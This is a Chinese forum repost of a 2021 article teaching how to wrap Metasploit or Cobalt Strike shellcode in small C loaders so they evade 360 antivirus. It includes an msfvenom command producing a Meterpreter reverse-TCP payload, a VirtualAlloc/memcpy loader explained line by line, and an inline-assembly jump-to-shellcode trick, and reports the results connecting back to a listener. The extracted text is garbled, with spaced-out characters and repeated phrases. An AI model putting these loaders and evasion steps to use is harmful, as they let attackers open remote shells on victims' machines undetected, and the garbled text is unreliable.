搜索

[26766] 2021-08-25_shellcode免杀（1）C语言三条指令免杀360

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-08-25_shellcode免杀（1）C语言三条指令免杀360 1 2 s h e l l c o d e 免 杀 （ 1 ） C 语 言 三 条 指 令 免 杀 3 6 0 原 创   小 苏   m o o n s e c   2 0 2 1 - 0 8 - 2 5 收 录 于 话 题   # 渗 透 测 试   免 杀   红 队   , 2 3 个 s h e l l c o d e 免 杀 （ 免 杀 （ 1 ） ） C 语 言 三 条 指 令 免 杀 语 言 三 条 指 令 免 杀 3 6 0 简 介 简 介         各 位 师 傅 们 好 ， 之 前 也 发 过 一 些 基 础 渗 透 水 文 ， 这 次 是 第 一 次 写 点 正 经 干 货 ， 描 述 有 错 的 地 方 各 位 师 傅 海 涵 。 本 来 是 想 写 P H P 审 计 的 ， 结 果 月 师 傅 让 我 写 免 杀 ， 经 过 一 下 午 的 c 语 言 测 试 ， 得 出 了 十 多 种 过 3 6 0 的 方 法 ， 这 里 拿 三 种 c 的 方 式 过 3 6 0 （ 思 路 大 体 相 同 ） ， 还 有 一 个 c + + 的 免 杀 3 6 0 和 火 绒 都 可 以 过 等 第 二 篇 再 讲 。 免 杀 过 程 免 杀 过 程 废 话 就 不 多 讲 了 对 于 初 学 者 友 好 发 展 ， 先 看 一 遍 制 作 过 程 ， 我 们 准 备 好 m s f 和 c s 的 s h l l e c o d e C S 生 成 s h e l l c o d e ， 要 用 c 语 言 的 s h e l l c o d e ， 每 个 语 言 的 解 析 s h e l l c o d e 方 式 不 同 所 以 这 里 要 选 好 语 言 形 式 。 接 下 来 就 是 把 这 些 s h e l l c o d e 放 到 源 码 里 进 行 免 杀 上 线 了 ， 接 下 来 的 三 种 c 语 言 免 杀 都 是 只 能 过 3 6 0 的 ， 火 绒 动 态 被 查 ， 但 是 最 后 的 c + + 是 两 个 都 可 以 过 的 ， 先 来 看 个 正 经 c 语 言 免 杀 看 下 图 ， 没 错 c 语 言 免 杀 就 需 要 这 点 代 码 ， 而 且 这 是 八 年 前 的 代 码 ， 如 果 研 究 免 杀 的 朋 友 应 该 很 眼 熟 毕 竟 也 是 传 烂 了 ， 本 文 也 主 要 为 了 解 析 免 杀 ， 我 们 来 一 步 步 分 析 。 从 这 里 开 始 麻 烦 真 的 想 学 免 杀 的 仔 细 阅 读 ， 这 是 最 简 单 的 入 门 ， 如 果 你 看 不 下 去 就 不 要 学 了 。 从 这 里 开 始 麻 烦 真 的 想 学 免 杀 的 仔 细 阅 读 ， 这 是 最 简 单 的 入 门 ， 如 果 你 看 不 下 去 就 不 要 学 了 。 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = " 自 己 I P "   L P O R T = " 自 己 的 端 口 "   - f   c   >   s h e l l . t x t
前 三 行 其 实 就 和 J a v a ， p y t h o n 的 i m p o r t 一 样 ； 第 四 行 也 就 是 我 们 箭 头 指 的 这 行 是 隐 藏 弹 出 窗 口 ， 也 就 是 不 让 控 制 台 蹦 出 来 ， 至 于 u n s i g n e d c h a r 指 无 符 号 类 型 的 字 符 数 组 ， 这 里 各 位 理 解 为 扩 容 就 行 了 下 边 为 代 码 主 要 部 分 ， p v o i d 就 是 指 针 ， 学 过 c 语 言 的 朋 友 都 知 道 基 本 都 用 * 代 替 了 这 里 方 便 讲 解 就 用 了 本 体 类 型 * P = n u l l ； / / 就 是 创 建 变 量 并 且 赋 值 i n t a ； / / 一 样 的 性 质 ， * p =   n u l l 其 实 就 是 i n t a   = 0 ； t y p e d e f v o i d （ _ s t d c a l l * C O D E ) / / 给 类 型 起 别 名 ， 也 可 以 用 指 针 代 替 原 函 数 ， 我 们 说 的 简 单 点 这 里 就 是 将 _ s t d c a l l 函 数 利 用 指 针 特 性 附 给 了 我 们 自 己 起 的 C O D E 函 数 里 ， 指 针 就 是 变 量 容 器 ， 但 是 指 针 存 的 是 地 址 ， 也 就 是 我 把 _ s t d c a l l 的 地 址 存 到 了 C O D E 里 所 以 它 的 值 也 都 在 里 边 了 ， 但 是 C O D E 还 是 C O D E 并 有 自 己 的 地 址 。 这 里 各 位 别 深 究 ， 你 就 当 继 承 了 就 行 。   这 里 是 最 主 要 的 ， 我 们 详 细 来 讲 解 一 下 。 V i r t u a l A l l o c ， 是 w i n 3 2 的 a p i 函 数 ， 是 用 来 申 请 动 态 内 存 的 ， 动 态 内 存 我 们 可 以 通 俗 的 理 解 为 ， 主 动 式 保 护 内 存 ， 可 以 根 据 我 们 自 己 决 定 是 否 存 在 ， 打 个 比 喻 ， 一 个 苹 果 吃 完 就 没 有 了 ， 但 是 一 整 棵 树 的 苹 果 你 想 吃 哪 个 吃 哪 个 ， 有 的 朋 友 可 能 会 想 这 不 还 是 能 吃 完 么 ， 当 然 了 ， 内 存 又 不 是 无 限 的 ， 这 个 申 请 动 态 内 存 就 是 在 有 限 的 范 围 留 出 你 想 要 的 地 方 。 V i r t u a l A l l o c ( N U L L , s i z e o f ( s h e l l c o d e ) , M E M _ C O M M I T   | M E M _ R E S E R V E , P A G E _ E X E C U T E _ R E A D W R I T E ) ; / / 函 数 内 参 数 （ 要 分 配 的 内 存 区 域 的 地 址 ， 分 配 的 大 小 ， 分 配 的 类 型 ，   该 内 存 的 初 始 保 护 属 性 ） 这 里 的 N U L L 是 让 系 统 自 己 分 配 内 存 地 址 ； 内 存 大 小 就 是 经 典 的 s i z e o f 了 ； M E M _ C O M M I T   | M E M _ R E S E R V E ： 为 特 定 的 页 面 区 域 分 配 内 存 中 或 磁 盘 的 页 面 文 件 中 的 物 理 内 存 ， 或 保 存 地 址 而 不 为 特 定 的 页 面 区 域 分 配 内 存 中 或 磁 盘 的 页 面 文 件 中 的 物 理 内 存 ， 或 保 存 地 址 而 不 分 配 物 理 存 储 ， 也 就 是 保 留 这 一 个 地 址 随 时 可 利 用 分 配 物 理 存 储 ， 也 就 是 保 留 这 一 个 地 址 随 时 可 利 用 ； P A G E _ E X E C U T E _ R E A D W R I T E ： 可 执 行 可 读 模 式 ， 可 以 理 解 为 申 请 权 限 可 执 行 可 读 模 式 ， 可 以 理 解 为 申 请 权 限 ； 到 了 这 里 我 们 来 总 结 这 串 代 码 具 体 意 思 ： 到 了 这 里 我 们 来 总 结 这 串 代 码 具 体 意 思 ： ” 我 申 请 了 一 块 土 地 ， 土 地 大 小 是 我 申 请 了 一 块 土 地 ， 土 地 大 小 是 s h e l l c o d e ， 我 要 用 这 块 土 地 都 给 我 腾 出 地 ， 我 不 用 这 块 土 地 但 这 土 地 就 是 我 的 ， 我 要 用 这 块 土 地 都 给 我 腾 出 地 ， 我 不 用 这 块 土 地 但 这 土 地 就 是 我 的 - 我 不 我 不 用 你 们 也 不 准 用 ， 这 土 地 谁 都 能 看 明 白 是 我 的 并 且 只 有 我 可 以 动 用 你 们 也 不 准 用 ， 这 土 地 谁 都 能 看 明 白 是 我 的 并 且 只 有 我 可 以 动 “ 接 下 来 看 这 块 ， i f 那 里 就 是 如 果 没 有 s h e l l c o d e 就 直 接 结 束 进 程 了
m e m c p y 函 数 ， 拷 贝 内 存 数 据 ， 和 我 们 平 时 用 的 c o p y 一 样 ； p ： 容 器 ， 也 就 是 要 接 受 数 据 的 目 标 数 组 ； s h e l l c o d e ： 复 制 的 数 据 源 ； s i z e o f （ ） ： 复 制 的 大 小 ； 代 码 解 释 ： 把 多 大 的 c o d e 存 到 p 指 针 里 ； C O D E = _ s t d c a l l ， c o d e = （ _ s t d c a l l ) p 这 里 要 好 好 看 ， 前 边 我 们 已 经 给 s t d c a l l 改 了 名 字 叫 C O D E ， 而 s t d c a l l 的 作 用 是 从 右 向 左 压 栈 ， 这 里 是 函 数 详 细 代 码 解 析 ， 不 会 汇 编 的 朋 友 跳 过 就 行 也 没 必 要 深 究 本 质 p u s h e b p   保 存 e b p 寄 存 器 ， 该 寄 存 器 将 用 来 保 存 堆 栈 的 栈 顶 指 针 ， 可 以 在 函 数 退 出 时 恢 复 m o v   e b p , e s p   保 存 堆 栈 指 针 m o v e a x , [ e b p   +   8 H ] 堆 栈 中 e b p 指 向 位 置 之 前 依 次 保 存 有 我 们 这 里 再 把 之 前 赋 值 给 p 的 数 据 拿 来 从 右 向 左 ， 也 就 是 先 申 请 保 护 内 存 ， 可 读 可 用 ， 之 后 占 用 好 不 让 别 人 动 ， 大 小 为 c o d e 大 小 ， 最 后 系 统 你 看 着 办 给 我 个 地 儿 。 最 后 使 用 c o d e （ ） ； 到 这 我 们 算 是 把 这 个 代 码 讲 解 完 了 ， 进 行 总 结 ： 准 备 好 调 用 头 文 件 ， 其 实 和 J a v a 的 依 赖 差 不 多 ； 把 _ s t d c a l l 改 名 为 C O D E ， 再 隐 藏 弹 窗 ； 将 c o d e 存 入 s h e l l c o d e 数 组 ； e b p , c s : e i p , a , b , e b p + 8 指 向 a a d d   e a x , [ e b p   +   0 C H ]   堆 栈 中 e b p +   1 2 处 保 存 了 b m o v   e s p , e b p   恢 复 e s p p o p   e b p r e t 8 V i r t u a l A l l o c ( N U L L , s i z e o f ( s h e l l c o d e ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;
创 建 指 针 变 量 p 赋 值 为 空 方 便 存 储 ； 将 V i r t u a l l A l l o c 函 数 存 入 p 申 请 动 态 内 存 并 保 护 ； 如 果 s h e l l c o d e 为 空 则 结 束 ； 复 制 s h e l l c o d e 进 p ； 从 右 向 左 压 栈 ； c o d e （ ） 执 行 。 终 于 到 了 看 效 果 的 时 候 了 ， 把 我 们 的 s h e l l c o d e 放 进 去 并 生 成 e x e 文 件 来 用 3 6 0 扫 一 下 看 看 ， 没 有 报 毒 m s f 准 备 好 监 听 看 看 能 否 上 线 并 操 作 ， 可 以 上 线 并 操 作 接 下 来 看 c s 的
看 看 运 行 ， 上 线 来 看 另 外 两 个 免 杀 ， 只 需 要 三 行 指 令 即 可 免 杀 这 里 是 嵌 入 式 汇 编 呼 叫 S h e l l C o d e ， 学 汇 编 的 一 看 就 明 白 了 ， 鉴 于 很 多 开 始 专 注 于 w e b 渗 透 的 师 傅 们 很 多 不 了 解 汇 编 我 们 这 里 简 单 讲 解 一 下 # p r a g m a c o m m e n t ( l i n k e r ,   " / s e c t i o n : . d a t a , R W E " ) V O I D m a i n ( ) {       _ _ a s m
4 # p r a g m a   c o m m e n t ( l i n k e r , " / s e c t i o n : . d a t a , R W E " ) ， 这 个 等 于 之 前 的 ， 这 个 等 于 之 前 的 V i r t u a l A l l o c ； ； _ _ a s m 内 联 调 用 汇 编 语 言 达 到 不 冲 突 可 运 行 ； 内 联 调 用 汇 编 语 言 达 到 不 冲 突 可 运 行 ； 调 用 调 用 o f f s e t 函 数 引 用 函 数 引 用 s h e l l c o d e 进 入 进 入 e a x 寄 存 器 ； 寄 存 器 ； j m p 无 条 件 跳 转 进 无 条 件 跳 转 进 e a x 寄 存 器 执 行 ； 寄 存 器 执 行 ； 没 错 ， 运 用 汇 编 就 是 这 么 轻 松 ， 加 上 创 建 内 联 ， 实 际 只 用 两 条 指 令 就 可 以 轻 松 过 3 6 0 ， 过 多 的 不 介 绍 了 ， 看 运 行 结 果 本 来 是 想 把 c + + 的 一 起 发 出 来 的 ， 可 是 没 想 到 c 语 言 的 就 这 么 多 了 ， 等 第 二 篇 详 细 讲 解 c + + 如 何 过 3 6 0 与 火 绒 的 吧 ， 希 望 各 位 师 傅 指 出 错 误 多 多 包 涵 。 源 码 我 就 不 留 了 ， 老 师 傅 不 需 要 ， 新 手 多 敲 敲 熟 练 对 吧 。 最 后 ， 若 想 渗 透 好 ， 就 别 要 男 女 朋 友 ， 对 象 只 会 影 响 你 的 大 脑 思 考 。 关 注 关 注 关 注 本 公 众 号 关 注 本 公 众 号   不 定 期 更 新 文 章 和 视 频 不 定 期 更 新 文 章 和 视 频 欢 迎 前 来 关 注 欢 迎 前 来 关 注       _ _ a s m       {                             m o v   e a x , o f f s e t   S h e l l C o d e               j m p   e a x       } }
渗 透 测 试 培 训 渗 透 测 试 培 训 l 联 系 联 系
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理